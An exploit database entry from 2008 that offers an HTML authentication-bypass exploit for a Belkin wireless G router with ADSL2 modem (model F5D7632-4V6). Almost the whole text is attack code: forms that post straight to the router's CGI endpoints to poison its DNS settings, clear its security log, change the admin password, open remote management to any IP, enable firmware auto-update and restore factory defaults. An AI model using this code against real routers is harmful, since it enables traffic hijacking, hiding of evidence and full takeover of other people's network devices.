Belkin wireless G router + ADSL2 modem Auth Bypass Exploit

2008-08-26T00:00:00
ID SSV:9353
Type seebug
Reporter Root
Modified 2008-08-26T00:00:00

Description

No description provided by source.

                                        
                                            
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<b>html code to bypass the webinterface password protection of the Belkin wireless G router + adsl2 modem.<br>
 It worked on model F5D7632-4V6 with upgraded firmware 6.01.08.</b>
<br>
    <form action="http://192.168.2.1/cgi-bin/setup_dns.exe" name=dnspoison method=post>
        Change dns nameservers (ip's can't be the same)<br>
        <input name=page type=hidden value="setup_dns">
        <input name=logout type=hidden value="">
        <input name=auto_from_isp type=hidden value="0">
        <input name=dns1_1 type=text value="1">
        <input name=dns1_2 type=text value="2">
        <input name=dns1_3 type=text value="3">
        <input name=dns1_4 type=text value="4">
        <br>
        <input name=dns2_1 type=text value="1">
        <input name=dns2_2 type=text value="2">
        <input name=dns2_3 type=text value="3">
        <input name=dns2_4 type=text value="5">
        <br>
        <input name=submit type=submit value="poison">
    </form>
    <br>
    <br>
    <form action="http://192.168.2.1/cgi-bin/statusprocess.exe" name=clearlog method=post>
        Clear log file<br>
        <input name=securityclear type=submit value="clear">
    </form>
    <br>
    <br>
 
    <form ACTION="http://192.168.2.1/cgi-bin/system_all.exe" method=post name=changepassword>
        Change time, pwd(if you have old pwd), remote management, UPnP:)<br>
        and automatic firmware update (nice combined with DNS poisoning)<br>
 
        <input type="hidden" name="restart_time" value="0">
 
        <input type="hidden" name="reload" value="1">
 
        <input type="hidden" name="restart_page" value='document.location.href="system.stm";'>
 
        <input type="hidden" name="location_page" value="system.stm">
 
        <input type="hidden" name="server1" value="">
 
        <input type="hidden" name="server2" value="">
 
        <!-- for clock -->
 
        <input type="hidden" name="year" value="">
 
        <input type="hidden" name="mon" value="">
 
        <input type="hidden" name="day" value="">
 
        <input type="hidden" name="hour" value="">
 
        <input type="hidden" name="min" value="">
 
        <input type="hidden" name="sec" value="">
        <br>old password<br>
 
        <input type="password" size="12" maxlength="12" name="userOldPswd" value="">
        <br>new password, twice<br>
 
        <input type="password" size="12" maxlength="12" name="userNewPswd" value="">
 
        <input type="password" size="12" maxlength="12" name="userConPswd" value="">
        <br>login timeout (1-99 minutes)<br>
 
        <input type="text" name="timeout" size="3" maxlength="3" value="10">
 
        <br>Time and Time Zone:<br>
        daylight saving : <br>
 
        <input type="checkbox" name="daylight" value="1">timezone(number)<br>
 
        <input type="text" name="time_zone" value="26">
        <input type="checkbox" name="enable_ntp" value="1">Enable Automatic Time Server Maintenance<br>
 
        <tr>
 
            <td width="240">Primary Server</td>
 
            <td width="360">
 
                <select name="time1">
 
                <option>132.163.4.102  - North America</option>
 
                <option>192.5.41.41    - North America</option>
 
                <option>192.5.41.209   - North America</option>
 
                <option>207.200.81.113 - North America</option>
 
                <option>208.184.49.9   - North America</option>
 
                <option>129.132.2.21   - Europe</option>
 
                <option>130.149.17.8   - Europe</option>
 
                <option>128.250.36.3   - Australia</option>
 
                <option>137.189.8.174  - Asia Pacific</option>
 
                </select>
            </td>
 
        </tr>
 
        <tr>
 
            <td width="240">Secondary Server</td>
 
            <td width="360">
 
                <select name="time2">
 
                <option>132.163.4.102  - North America</option>
 
                <option>192.5.41.41    - North America</option>
 
                <option>192.5.41.209   - North America</option>
 
                <option>207.200.81.113 - North America</option>
 
                <option>208.184.49.9   - North America</option>
 
                <option>129.132.2.21   - Europe</option>
 
                <option>130.149.17.8   - Europe</option>
 
                <option>128.250.36.3   - Australia</option>
 
                <option>137.189.8.174  - Asia Pacific</option>
 
                </select>
 
            </td>
 
        </tr>
        <br>Remote management: <br>
 
            <input type="checkbox" name="allow_all" value="1">Any IP address can remotely manage the router<br>
            Only this IP address can remotely manage the router<br>
 
            <input name="IP1" size="3" maxlength="3" value="0">.
 
            <input name="IP2" size="3" maxlength="3" value="0">.
 
            <input name="IP3" size="3" maxlength="3" value="0">.
 
            <input name="IP4" size="3" maxlength="3" value="0">
 
            <br>remote port:
 
            <input name="REMOTEPORT" size="5" maxlength="5" value="0">
 
            <br>NAT Enabling:<br>
 
            <input type=radio name=Nat_enable value=1>Enable<br>
 
            <input type=radio name=Nat_enable value=0>Disable<br>
        <br>UPnP<br>
            <input type="radio" name="upnp_enable" value=1>Enable<br>
 
            <input type=radio name=upnp_enable value=0>Disable<br>
        <br>Auto Update Firmware Enabling<br>
 
            <input type="radio" name="autoUpdate_enable" value=1>Enable<br>
 
            <input type="radio" name="autoUpdate_enable" value=0>disable<br>
    </form>
     
    <form method="POST" action="http://192.168.2.1/cgi-bin/restore.exe" name="RebootForm">
        <br>restore factory defaults (and pw:D)<br>
        <input type="hidden" name="page" value="tools_restore">
 
        <input type="hidden" name="logout">
 
        <input type="submit" value="Restore Defaults" style="{width:120px;}" class="submitBtn">
 
    </form>
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